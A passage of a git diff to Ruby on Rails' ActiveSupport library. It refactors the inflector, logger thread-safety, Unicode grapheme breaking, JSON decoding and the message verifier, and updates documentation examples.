@regex_array.any? { |regex| regex === str } + end + + private + def to_regex(string) + /\b#{::Regexp.escape(string)}\Z/i + end + end def self.instance(locale = :en) @__instance__[locale] ||= new @@ -34,7 +65,7 @@ module ActiveSupport attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex def initialize - @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], [], [], {}, /(?=a)b/ + @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], Uncountables.new, [], {}, /(?=a)b/ end # Private, for the test suite. @@ -160,7 +191,7 @@ module ActiveSupport # uncountable 'money', 'information' # uncountable %w( money information rice ) def uncountable(*words) - @uncountables += words.flatten.map(&:downcase) + @uncountables.add(words) end # Specifies a humanized form of a string by a regular expression rule or @@ -185,7 +216,7 @@ module ActiveSupport def clear(scope = :all) case scope when :all - @plurals, @singulars, @uncountables, @humans = [], [], [], [] + @plurals, @singulars, @uncountables, @humans = [], [], Uncountables.new, [] else instance_variable_set "@#{scope}", [] end diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb index 9d27cb7073..f94e12e14f 100644 --- a/activesupport/lib/active_support/inflector/methods.rb +++ b/activesupport/lib/active_support/inflector/methods.rb @@ -1,5 +1,3 @@ -# encoding: utf-8 - require 'active_support/inflections' module ActiveSupport @@ -68,12 +66,12 @@ module ActiveSupport def camelize(term, uppercase_first_letter = true) string = term.to_s if uppercase_first_letter - string = string.sub(/^[a-z\d]*/) { inflections.acronyms[$&] || $&.capitalize } + string = string.sub(/^[a-z\d]*/) { |match| inflections.acronyms[match] || match.capitalize } else - string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase } + string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { |match| match.downcase } end string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" } - string.gsub!(/\//, '::') + string.gsub!('/'.freeze, '::'.freeze) string end @@ -90,11 +88,11 @@ module ActiveSupport # camelize(underscore('SSLError')) # => "SslError" def underscore(camel_cased_word) return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/ - word = camel_cased_word.to_s.gsub(/::/, '/') - word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'}#{$2.downcase}" } - word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2') - word.gsub!(/([a-z\d])([A-Z])/,'\1_\2') - word.tr!("-", "_") + word = camel_cased_word.to_s.gsub('::'.freeze, '/'.freeze) + word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'.freeze }#{$2.downcase}" } + word.gsub!(/([A-Z\d]+)([A-Z][a-z])/, '\1_\2'.freeze) + word.gsub!(/([a-z\d])([A-Z])/, '\1_\2'.freeze) + word.tr!("-".freeze, "_".freeze) word.downcase! word end @@ -127,9 +125,9 @@ module ActiveSupport inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) } - result.sub!(/\A_+/, '') - result.sub!(/_id\z/, '') - result.tr!('_', ' ') + result.sub!(/\A_+/, ''.freeze) + result.sub!(/_id\z/, ''.freeze) + result.tr!('_'.freeze, ' '.freeze) result.gsub!(/([a-z\d]*)/i) do |match| "#{inflections.acronyms[match] || match.downcase}" @@ -142,6 +140,15 @@ module ActiveSupport result end + # Converts just the first character to uppercase. + # + # upcase_first('what a Lovely Day') # => "What a Lovely Day" + # upcase_first('w') # => "W" + # upcase_first('') # => "" + def upcase_first(string) + string.length > 0 ? string[0].upcase.concat(string[1..-1]) : '' + end + # Capitalizes all the words and replaces some characters in the string to # create a nicer looking title. +titleize+ is meant for creating pretty # output. It is not used in the Rails internals. @@ -153,16 +160,14 @@ module ActiveSupport # titleize('TheManWithoutAPast') # => "The Man Without A Past" # titleize('raiders_of_the_lost_ark') # => "Raiders Of The Lost Ark" def titleize(word) - humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) do |match| - match.capitalize - end + humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { |match| match.capitalize } end # Creates the name of a table like Rails does for models to table names. # This method uses the #pluralize method on the last word in the string. # # tableize('RawScaledScorer') # => "raw_scaled_scorers" - # tableize('egg_and_ham') # => "egg_and_hams" + # tableize('ham_and_egg') # => "ham_and_eggs" # tableize('fancyCategory') # => "fancy_categories" def tableize(class_name) pluralize(underscore(class_name)) @@ -172,22 +177,22 @@ module ActiveSupport # names to models. Note that this returns a string and not a Class (To # convert to an actual class follow +classify+ with #constantize). # - # classify('egg_and_hams') # => "EggAndHam" + # classify('ham_and_eggs') # => "HamAndEgg" # classify('posts') # => "Post" # # Singular names are not handled correctly: # - # classify('calculus') # => "Calculu" + # classify('calculus') # => "Calculus" def classify(table_name) # strip out any leading schema name - camelize(singularize(table_name.to_s.sub(/.*\./, ''))) + camelize(singularize(table_name.to_s.sub(/.*\./, ''.freeze))) end # Replaces underscores with dashes in the string. # # dasherize('puni_puni') # => "puni-puni" def dasherize(underscored_word) - underscored_word.tr('_', '-') + underscored_word.tr('_'.freeze, '-'.freeze) end # Removes the module part from the expression in the string. @@ -233,8 +238,8 @@ module ActiveSupport # Tries to find a constant with the name specified in the argument string. # - # 'Module'.constantize # => Module - # 'Test::Unit'.constantize # => Test::Unit + # 'Module'.constantize # => Module + # 'Foo::Bar'.constantize # => Foo::Bar # # The name is assumed to be the one of a top-level constant, no matter # whether it starts with "::" or not. No lexical context is taken into @@ -250,7 +255,7 @@ module ActiveSupport # NameError is raised when the name is not in CamelCase or the constant is # unknown. def constantize(camel_cased_word) - names = camel_cased_word.split('::') + names = camel_cased_word.split('::'.freeze) # Trigger a built-in NameError exception including the ill-formed constant in the message. Object.const_get(camel_cased_word) if names.empty? @@ -282,8 +287,8 @@ module ActiveSupport # Tries to find a constant with the name specified in the argument string. # - # safe_constantize('Module') # => Module - # safe_constantize('Test::Unit') # => Test::Unit + # safe_constantize('Module') # => Module + # safe_constantize('Foo::Bar') # => Foo::Bar # # The name is assumed to be the one of a top-level constant, no matter # whether it starts with "::" or not. No lexical context is taken into @@ -356,7 +361,7 @@ module ActiveSupport # const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?" # const_regexp("::") # => "::" def const_regexp(camel_cased_word) #:nodoc: - parts = camel_cased_word.split("::") + parts = camel_cased_word.split("::".freeze) return Regexp.escape(camel_cased_word) if parts.blank? @@ -374,7 +379,7 @@ module ActiveSupport def apply_inflections(word, rules) result = word.to_s.dup - if word.empty? || inflections.uncountables.include?(result.downcase[/\b\w+\Z/]) + if word.empty? || inflections.uncountables.uncountable?(result) result else rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) } diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb index edea142e82..871cfb8a72 100644 --- a/activesupport/lib/active_support/inflector/transliterate.rb +++ b/activesupport/lib/active_support/inflector/transliterate.rb @@ -1,4 +1,3 @@ -# encoding: utf-8 require 'active_support/core_ext/string/multibyte' require 'active_support/i18n' @@ -58,7 +57,7 @@ module ActiveSupport # I18n.locale = :de # transliterate('Jürgen') # # => "Juergen" - def transliterate(string, replacement = "?") + def transliterate(string, replacement = "?".freeze) I18n.transliterate(ActiveSupport::Multibyte::Unicode.normalize( ActiveSupport::Multibyte::Unicode.tidy_bytes(string), :c), :replacement => replacement) @@ -69,19 +68,45 @@ module ActiveSupport # # parameterize("Donald E. Knuth") # => "donald-e-knuth" # parameterize("^trés|Jolie-- ") # => "tres-jolie" - def parameterize(string, sep = '-') - # replace accented chars with their ascii equivalents + # + # To use a custom separator, override the `separator` argument. + # + # parameterize("Donald E. Knuth", separator: '_') # => "donald_e_knuth" + # parameterize("^trés|Jolie-- ", separator: '_') # => "tres_jolie" + # + # To preserve the case of the characters in a string, use the `preserve_case` argument. + # + # parameterize("Donald E. Knuth", preserve_case: true) # => "Donald-E-Knuth" + # parameterize("^trés|Jolie-- ", preserve_case: true) # => "tres-Jolie" + # + def parameterize(string, sep = :unused, separator: '-', preserve_case: false) + unless sep == :unused + ActiveSupport::Deprecation.warn("Passing the separator argument as a positional parameter is deprecated and will soon be removed. Use `separator: '#{sep}'` instead.") + separator = sep + end + # Replace accented chars with their ASCII equivalents. parameterized_string = transliterate(string) - # Turn unwanted chars into the separator - parameterized_string.gsub!(/[^a-z0-9\-_]+/i, sep) - unless sep.nil? || sep.empty? - re_sep = Regexp.escape(sep) + + # Turn unwanted chars into the separator. + parameterized_string.gsub!(/[^a-z0-9\-_]+/i, separator) + + unless separator.nil? || separator.empty? + if separator == "-".freeze + re_duplicate_separator = /-{2,}/ + re_leading_trailing_separator = /^-|-$/i + else + re_sep = Regexp.escape(separator) + re_duplicate_separator = /#{re_sep}{2,}/ + re_leading_trailing_separator = /^#{re_sep}|#{re_sep}$/i + end # No more than one of the separator in a row. - parameterized_string.gsub!(/#{re_sep}{2,}/, sep) + parameterized_string.gsub!(re_duplicate_separator, separator) # Remove leading/trailing separator. - parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '') + parameterized_string.gsub!(re_leading_trailing_separator, ''.freeze) end - parameterized_string.downcase + + parameterized_string.downcase! unless preserve_case + parameterized_string end end end diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb index 35548f3f56..2932954f03 100644 --- a/activesupport/lib/active_support/json/decoding.rb +++ b/activesupport/lib/active_support/json/decoding.rb @@ -9,20 +9,14 @@ module ActiveSupport module JSON # matches YAML-formatted dates DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/ - + class << self # Parses a JSON string (JavaScript Object Notation) into a hash. # See http://www.json.org for more info. # # ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}") # => {"team" => "rails", "players" => "36"} - def decode(json, options = {}) - if options.present? - raise ArgumentError, "In Rails 4.1, ActiveSupport::JSON.decode no longer " \ - "accepts an options hash for MultiJSON. MultiJSON reached its end of life " \ - "and has been removed." - end - + def decode(json) data = ::JSON.parse(json, quirks_mode: true) if ActiveSupport.parse_json_times diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb index 48f4967892..031c5e9339 100644 --- a/activesupport/lib/active_support/json/encoding.rb +++ b/activesupport/lib/active_support/json/encoding.rb @@ -57,6 +57,10 @@ module ActiveSupport super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS end end + + def to_s + self + end end # Mark these as private so we don't leak encoding-specific constructs diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb index 51d2da3a79..7f73f9ddfc 100644 --- a/activesupport/lib/active_support/key_generator.rb +++ b/activesupport/lib/active_support/key_generator.rb @@ -1,8 +1,8 @@ -require 'thread_safe' +require 'concurrent/map' require 'openssl' module ActiveSupport - # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2 + # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2. # It can be used to derive a number of keys for various purposes from a given secret. # This lets Rails applications have a single secure secret, but avoid reusing that # key in multiple incompatible contexts. @@ -24,11 +24,11 @@ module ActiveSupport # CachingKeyGenerator is a wrapper around KeyGenerator which allows users to avoid # re-executing the key generation process when it's called using the same salt and - # key_size + # key_size. class CachingKeyGenerator def initialize(key_generator) @key_generator = key_generator - @cache_keys = ThreadSafe::Cache.new + @cache_keys = Concurrent::Map.new end # Returns a derived key suitable for use. The default key_size is chosen diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml index a4563ace8f..c64b7598ee 100644 --- a/activesupport/lib/active_support/locale/en.yml +++ b/activesupport/lib/active_support/locale/en.yml @@ -106,6 +106,8 @@ en: mb: "MB" gb: "GB" tb: "TB" + pb: "PB" + eb: "EB" # Used in NumberHelper.number_to_human() decimal_units: format: "%n %u" diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb index e95dc5a866..e782cd2d4b 100644 --- a/activesupport/lib/active_support/log_subscriber.rb +++ b/activesupport/lib/active_support/log_subscriber.rb @@ -95,7 +95,7 @@ module ActiveSupport METHOD end - # Set color by using a string or one of the defined constants. If a third + # Set color by using a symbol or one of the defined constants. If a third # option is set to +true+, it also adds bold to the string. This is based # on the Highline implementation and will automatically append CLEAR to the # end of the returned String. diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb index 75f353f62c..588ed67c81 100644 --- a/activesupport/lib/active_support/log_subscriber/test_helper.rb +++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb @@ -10,7 +10,7 @@ module ActiveSupport # class SyncLogSubscriberTest < ActiveSupport::TestCase # include ActiveSupport::LogSubscriber::TestHelper # - # def setup + # setup do # ActiveRecord::LogSubscriber.attach_to(:active_record) # end # @@ -33,7 +33,7 @@ module ActiveSupport # you can collect them doing @logger.logged(level), where level is the level # used in logging, like info, debug, warn and so on. module TestHelper - def setup + def setup # :nodoc: @logger = MockLogger.new @notifier = ActiveSupport::Notifications::Fanout.new @@ -44,7 +44,7 @@ module ActiveSupport ActiveSupport::Notifications.notifier = @notifier end - def teardown + def teardown # :nodoc: set_logger(nil) ActiveSupport::Notifications.notifier = @old_notifier end diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb index 33fccdcf95..de48e717b6 100644 --- a/activesupport/lib/active_support/logger.rb +++ b/activesupport/lib/active_support/logger.rb @@ -1,11 +1,23 @@ -require 'active_support/core_ext/module/attribute_accessors' require 'active_support/logger_silence' +require 'active_support/logger_thread_safe_level' require 'logger' module ActiveSupport class Logger < ::Logger + include ActiveSupport::LoggerThreadSafeLevel include LoggerSilence + # Returns true if the logger destination matches one of the sources + # + # logger = Logger.new(STDOUT) + # ActiveSupport::Logger.logger_outputs_to?(logger, STDOUT) + # # => true + def self.logger_outputs_to?(logger, *sources) + logdev = logger.instance_variable_get("@logdev") + logger_source = logdev.dev if logdev.respond_to?(:dev) + sources.any? { |source| source == logger_source } + end + # Broadcasts logs to multiple loggers. def self.broadcast(logger) # :nodoc: Module.new do @@ -38,12 +50,31 @@ module ActiveSupport logger.level = level super(level) end + + define_method(:local_level=) do |level| + logger.local_level = level if logger.respond_to?(:local_level=) + super(level) if respond_to?(:local_level=) + end end end def initialize(*args) super @formatter = SimpleFormatter.new + after_initialize if respond_to? :after_initialize + end + + def add(severity, message = nil, progname = nil, &block) + return true if @logdev.nil? || (severity || UNKNOWN) < level + super + end + + Logger::Severity.constants.each do |severity| + class_eval(<<-EOT, __FILE__, __LINE__ + 1) + def #{severity.downcase}? # def debug? + Logger::#{severity} >= level # DEBUG >= level + end # end + EOT end # Simple formatter which only displays the message. diff --git a/activesupport/lib/active_support/logger_silence.rb b/activesupport/lib/active_support/logger_silence.rb index a8efdef944..3eb8098c77 100644 --- a/activesupport/lib/active_support/logger_silence.rb +++ b/activesupport/lib/active_support/logger_silence.rb @@ -1,8 +1,10 @@ require 'active_support/concern' +require 'active_support/core_ext/module/attribute_accessors' +require 'concurrent' module LoggerSilence extend ActiveSupport::Concern - + included do cattr_accessor :silencer self.silencer = true @@ -12,13 +14,15 @@ module LoggerSilence def silence(temporary_level = Logger::ERROR) if silencer begin - old_logger_level, self.level = level, temporary_level + old_local_level = local_level + self.local_level = temporary_level + yield self ensure - self.level = old_logger_level + self.local_level = old_local_level end else yield self end end -end
\ No newline at end of file +end diff --git a/activesupport/lib/active_support/logger_thread_safe_level.rb b/activesupport/lib/active_support/logger_thread_safe_level.rb new file mode 100644 index 0000000000..5fedb5e689 --- /dev/null +++ b/activesupport/lib/active_support/logger_thread_safe_level.rb @@ -0,0 +1,31 @@ +require 'active_support/concern' + +module ActiveSupport + module LoggerThreadSafeLevel # :nodoc: + extend ActiveSupport::Concern + + def after_initialize + @local_levels = Concurrent::Map.new(initial_capacity: 2) + end + + def local_log_id + Thread.current.__id__ + end + + def local_level + @local_levels[local_log_id] + end + + def local_level=(level) + if level + @local_levels[local_log_id] = level + else + @local_levels.delete(local_log_id) + end + end + + def level + local_level || super + end + end +end diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb index 92ab6fe648..2dde01c844 100644 --- a/activesupport/lib/active_support/message_encryptor.rb +++ b/activesupport/lib/active_support/message_encryptor.rb @@ -34,8 +34,8 @@ module ActiveSupport # Initialize a new MessageEncryptor. +secret+ must be at least as long as # the cipher key size. For the default 'aes-256-cbc' cipher, this is 256 # bits. If you are using a user-entered secret, you can generate a suitable - # key with <tt>OpenSSL::Digest::SHA256.new(user_secret).digest</tt> or - # similar. + # key by using <tt>ActiveSupport::KeyGenerator</tt> or a similar key + # derivation function. # # Options: # * <tt>:cipher</tt> - Cipher to use. Can be any cipher returned by @@ -82,7 +82,7 @@ module ActiveSupport def _decrypt(encrypted_message) cipher = new_cipher - encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)} + encrypted_data, iv = encrypted_message.split("--".freeze).map {|v| ::Base64.strict_decode64(v)} cipher.decrypt cipher.key = @secret diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb index eee9bbaead..4c3deffe6e 100644 --- a/activesupport/lib/active_support/message_verifier.rb +++ b/activesupport/lib/active_support/message_verifier.rb @@ -15,7 +15,7 @@ module ActiveSupport # In the authentication filter: # # id, time = @verifier.verify(cookies[:remember_me]) - # if time < Time.now + # if Time.now < time # self.current_user = User.find(id) # end # @@ -24,6 +24,12 @@ module ActiveSupport # hash upon initialization: # # @verifier = ActiveSupport::MessageVerifier.new('s3Krit', serializer: YAML) + # + # +MessageVerifier+ creates HMAC signatures using SHA1 hash algorithm by default. + # If you want to use a different hash algorithm, you can change it by providing + # `:digest` key as an option while initializing the verifier: + # + # @verifier = ActiveSupport::MessageVerifier.new('s3Krit', digest: 'SHA256') class MessageVerifier class InvalidSignature < StandardError; end @@ -44,9 +50,9 @@ module ActiveSupport # tampered_message = signed_message.chop # editing the message invalidates the signature # verifier.valid_message?(tampered_message) # => false def valid_message?(signed_message) - return if signed_message.blank? + return if signed_message.nil? || !signed_message.valid_encoding? || signed_message.blank? - data, digest = signed_message.split("--") + data, digest = signed_message.split("--".freeze) data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data)) end @@ -74,7 +80,7 @@ module ActiveSupport def verified(signed_message) if valid_message?(signed_message) begin - data = signed_message.split("--")[0] + data = signed_message.split("--".freeze)[0] @serializer.load(decode(data)) rescue ArgumentError => argument_error return if argument_error.message =~ %r{invalid base64} diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb index 3c0cf9f137..707cf200b5 100644 --- a/activesupport/lib/active_support/multibyte/chars.rb +++ b/activesupport/lib/active_support/multibyte/chars.rb @@ -1,4 +1,3 @@ -# encoding: utf-8 require 'active_support/json' require 'active_support/core_ext/string/access' require 'active_support/core_ext/string/behavior' @@ -86,10 +85,20 @@ module ActiveSupport #:nodoc: @wrapped_string.split(*args).map { |i| self.class.new(i) } end - # Works like like <tt>String#slice!</tt>, but returns an instance of - # Chars, or nil if the string was not modified. + # Works like <tt>String#slice!</tt>, but returns an instance of + # Chars, or nil if the string was not modified. The string will not be + # modified if the range given is out of bounds + # + # string = 'Welcome' + # string.mb_chars.slice!(3) # => #<ActiveSupport::Multibyte::Chars:0x000000038109b8 @wrapped_string="c"> + # string # => 'Welome' + # string.mb_chars.slice!(0..3) # => #<ActiveSupport::Multibyte::Chars:0x00000002eb80a0 @wrapped_string="Welo"> + # string # => 'me' def slice!(*args) - chars(@wrapped_string.slice!(*args)) + string_sliced = @wrapped_string.slice!(*args) + if string_sliced + chars(string_sliced) + end end # Reverses all characters in the string. diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb index 35efebc65f..72b20fff06 100644 --- a/activesupport/lib/active_support/multibyte/unicode.rb +++ b/activesupport/lib/active_support/multibyte/unicode.rb @@ -1,4 +1,3 @@ -# encoding: utf-8 module ActiveSupport module Multibyte module Unicode @@ -11,7 +10,7 @@ module ActiveSupport NORMALIZATION_FORMS = [:c, :kc, :d, :kd] # The Unicode version that is supported by the implementation - UNICODE_VERSION = '7.0.0' + UNICODE_VERSION = '8.0.0' # The default normalization used for operations that require # normalization. It can be set to any of the normalizations @@ -58,7 +57,7 @@ module ActiveSupport # Returns a regular expression pattern that matches the passed Unicode # codepoints. def self.codepoints_to_pattern(array_of_codepoints) #:nodoc: - array_of_codepoints.collect{ |e| [e].pack 'U*' }.join('|') + array_of_codepoints.collect{ |e| [e].pack 'U*'.freeze }.join('|'.freeze) end TRAILERS_PAT = /(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+\Z/u LEADERS_PAT = /\A(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+/u @@ -88,19 +87,44 @@ module ActiveSupport pos += 1 previous = codepoints[pos-1] current = codepoints[pos] - if ( - # CR X LF - ( previous == database.boundary[:cr] and current == database.boundary[:lf] ) or - # L X (L|V|LV|LVT) - ( database.boundary[:l] === previous and in_char_class?(current, [:l,:v,:lv,:lvt]) ) or - # (LV|V) X (V|T) - ( in_char_class?(previous, [:lv,:v]) and in_char_class?(current, [:v,:t]) ) or - # (LVT|T) X (T) - ( in_char_class?(previous, [:lvt,:t]) and database.boundary[:t] === current ) or - # X Extend - (database.boundary[:extend] === current) - ) - else + + should_break = + # GB3. CR X LF + if previous == database.boundary[:cr] and current == database.boundary[:lf] + false + # GB4. (Control|CR|LF) ÷ + elsif previous and in_char_class?(previous, [:control,:cr,:lf]) + true + # GB5. ÷ (Control|CR|LF) + elsif in_char_class?(current, [:control,:cr,:lf]) + true + # GB6. L X (L|V|LV|LVT) + elsif database.boundary[:l] === previous and in_char_class?(current, [:l,:v,:lv,:lvt]) + false + # GB7. (LV|V) X (V|T) + elsif in_char_class?(previous, [:lv,:v]) and in_char_class?(current, [:v,:t]) + false + # GB8. (LVT|T) X (T) + elsif in_char_class?(previous, [:lvt,:t]) and database.boundary[:t] === current + false + # GB8a. Regional_Indicator X Regional_Indicator + elsif database.boundary[:regional_indicator] === previous and database.boundary[:regional_indicator] === current + false + # GB9. X Extend + elsif database.boundary[:extend] === current + false + # GB9a. X SpacingMark + elsif database.boundary[:spacingmark] === current + false + # GB9b. Prepend X + elsif database.boundary[:prepend] === previous + false + # GB10. Any ÷ Any + else + true + end + + if should_break unpacked << codepoints[marker..pos-1] marker = pos end @@ -257,7 +281,7 @@ module ActiveSupport # * <tt>string</tt> - The string to perform normalization on. # * <tt>form</tt> - The form you want to normalize in. Should be one of # the following: <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. - # Default is ActiveSupport::Multibyte.default_normalization_form. + # Default is ActiveSupport::Multibyte::Unicode.default_normalization_form. def normalize(string, form=nil) form ||= @default_normalization_form # See http://www.unicode.org/reports/tr15, Table 1 @@ -273,7 +297,7 @@ module ActiveSupport compose(reorder_characters(decompose(:compatibility, codepoints))) else raise ArgumentError, "#{form} is not a valid normalization variant", caller - end.pack('U*') + end.pack('U*'.freeze) end def downcase(string) @@ -338,7 +362,7 @@ module ActiveSupport end # Redefine the === method so we can write shorter rules for grapheme cluster breaks - @boundary.each do |k,_| + @boundary.each_key do |k| @boundary[k].instance_eval do def ===(other) detect { |i| i === other } ? true : false diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb index b9f8e1ab2c..823d68e507 100644 --- a/activesupport/lib/active_support/notifications.rb +++ b/activesupport/lib/active_support/notifications.rb @@ -69,8 +69,8 @@ module ActiveSupport # is able to take the arguments as they come and provide an object-oriented # interface to that data. # - # It is also possible to pass an object as the second parameter passed to the - # <tt>subscribe</tt> method instead of a block: + # It is also possible to pass an object which responds to <tt>call</tt> method + # as the second parameter to the <tt>subscribe</tt> method instead of a block: # # module ActionController # class PageRequest diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb index 6bf8c7d5de..c53f9c1039 100644 --- a/activesupport/lib/active_support/notifications/fanout.rb +++ b/activesupport/lib/active_support/notifications/fanout.rb @@ -1,5 +1,5 @@ require 'mutex_m' -require 'thread_safe' +require 'concurrent/map' module ActiveSupport module Notifications @@ -12,7 +12,7 @@ module ActiveSupport def initialize @subscribers = [] - @listeners_for = ThreadSafe::Cache.new + @listeners_for = Concurrent::Map.new super end @@ -42,8 +42,8 @@ module ActiveSupport listeners_for(name).each { |s| s.start(name, id, payload) } end - def finish(name, id, payload) - listeners_for(name).each { |s| s.finish(name, id, payload) } + def finish(name, id, payload, listeners = listeners_for(name)) + listeners.each { |s| s.finish(name, id, payload) } end def publish(name, *args) @@ -51,7 +51,7 @@ module ActiveSupport end def listeners_for(name) - # this is correctly done double-checked locking (ThreadSafe::Cache's lookups have volatile semantics) + # this is correctly done double-checked locking (Concurrent::Map's lookups have volatile semantics) @listeners_for[name] || synchronize do # use synchronisation when accessing @subscribers @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) } @@ -111,7 +111,7 @@ module ActiveSupport end end - class Timed < Evented + class Timed < Evented # :nodoc: def publish(name, *args) @delegate.call name, *args end diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb index 075ddc2382..91f94cb2d7 100644 --- a/activesupport/lib/active_support/notifications/instrumenter.rb +++ b/activesupport/lib/active_support/notifications/instrumenter.rb @@ -15,14 +15,16 @@ module ActiveSupport # and publish it. Notice that events get sent even if an error occurs # in the passed-in block. def instrument(name, payload={}) - start name, payload + # some of the listeners might have state + listeners_state = start name, payload begin yield payload rescue Exception => e payload[:exception] = [e.class.name, e.message] + payload[:exception_object] = e raise e ensure - finish name, payload + finish_with_state listeners_state, name, payload end end @@ -36,6 +38,10 @@ module ActiveSupport @notifier.finish name, @id, payload end + def finish_with_state(listeners_state, name, payload) + @notifier.finish name, @id, payload, listeners_state + end + private def unique_id diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb index 258d9b34e1..7a49bbb960 100644 --- a/activesupport/lib/active_support/number_helper.rb +++ b/activesupport/lib/active_support/number_helper.rb @@ -15,7 +15,7 @@ module ActiveSupport extend self - # Formats a +number+ into a US phone number (e.g., (555) + # Formats a +number+ into a phone number (US by default e.g., (555) # 123-9876). You can customize the format in the +options+ hash. # # ==== Options @@ -27,19 +27,26 @@ module ActiveSupport # end of the generated number. # * <tt>:country_code</tt> - Sets the country code for the phone # number. + # * <tt>:pattern</tt> - Specifies how the number is divided into three + # groups with the custom regexp to override the default format. # ==== Examples # - # number_to_phone(5551234) # => 555-1234 - # number_to_phone('5551234') # => 555-1234 - # number_to_phone(1235551234) # => 123-555-1234 - # number_to_phone(1235551234, area_code: true) # => (123) 555-1234 - # number_to_phone(1235551234, delimiter: ' ') # => 123 555 1234 - # number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555 - # number_to_phone(1235551234, country_code: 1) # => +1-123-555-1234 - # number_to_phone('123a456') # => 123a456 + # number_to_phone(5551234) # => "555-1234" + # number_to_phone('5551234') # => "555-1234" + # number_to_phone(1235551234) # => "123-555-1234" + # number_to_phone(1235551234, area_code: true) # => "(123) 555-1234" + # number_to_phone(1235551234, delimiter: ' ') # => "123 555 1234" + # number_to_phone(1235551234, area_code: true, extension: 555) # => "(123) 555-1234 x 555" + # number_to_phone(1235551234, country_code: 1) # => "+1-123-555-1234" + # number_to_phone('123a456') # => "123a456" # # number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.') - # # => +1.123.555.1234 x 1343 + # # => "+1.123.555.1234 x 1343" + # + # number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true) + # # => "(755) 6123-4567" + # number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)) + # # => "133-1234-5678" def number_to_phone(number, options = {}) NumberToPhoneConverter.convert(number, options) end @@ -47,6 +54,14 @@ module ActiveSupport # Formats a +number+ into a currency string (e.g., $13.65). You # can customize the format in the +options+ hash. # + # The currency unit and number formatting of the current locale will be used + # unless otherwise specified in the provided options. No currency conversion + # is performed. If the user is given a way to change their locale, they will + # also be able to change the relative value of the currency displayed with + # this helper. If your application will ever support multiple locales, you + # may want to specify a constant <tt>:locale</tt> option or consider + # using a library capable of currency conversion. + # # ==== Options # # * <tt>:locale</tt> - Sets the locale to be used for formatting @@ -70,18 +85,18 @@ module ActiveSupport # # ==== Examples # - # number_to_currency(1234567890.50) # => $1,234,567,890.50 - # number_to_currency(1234567890.506) # => $1,234,567,890.51 - # number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506 - # number_to_currency(1234567890.506, locale: :fr) # => 1 234 567 890,51 € - # number_to_currency('123a456') # => $123a456 + # number_to_currency(1234567890.50) # => "$1,234,567,890.50" + # number_to_currency(1234567890.506) # => "$1,234,567,890.51" + # number_to_currency(1234567890.506, precision: 3) # => "$1,234,567,890.506" + # number_to_currency(1234567890.506, locale: :fr) # => "1 234 567 890,51 €" + # number_to_currency('123a456') # => "$123a456" # # number_to_currency(-1234567890.50, negative_format: '(%u%n)') - # 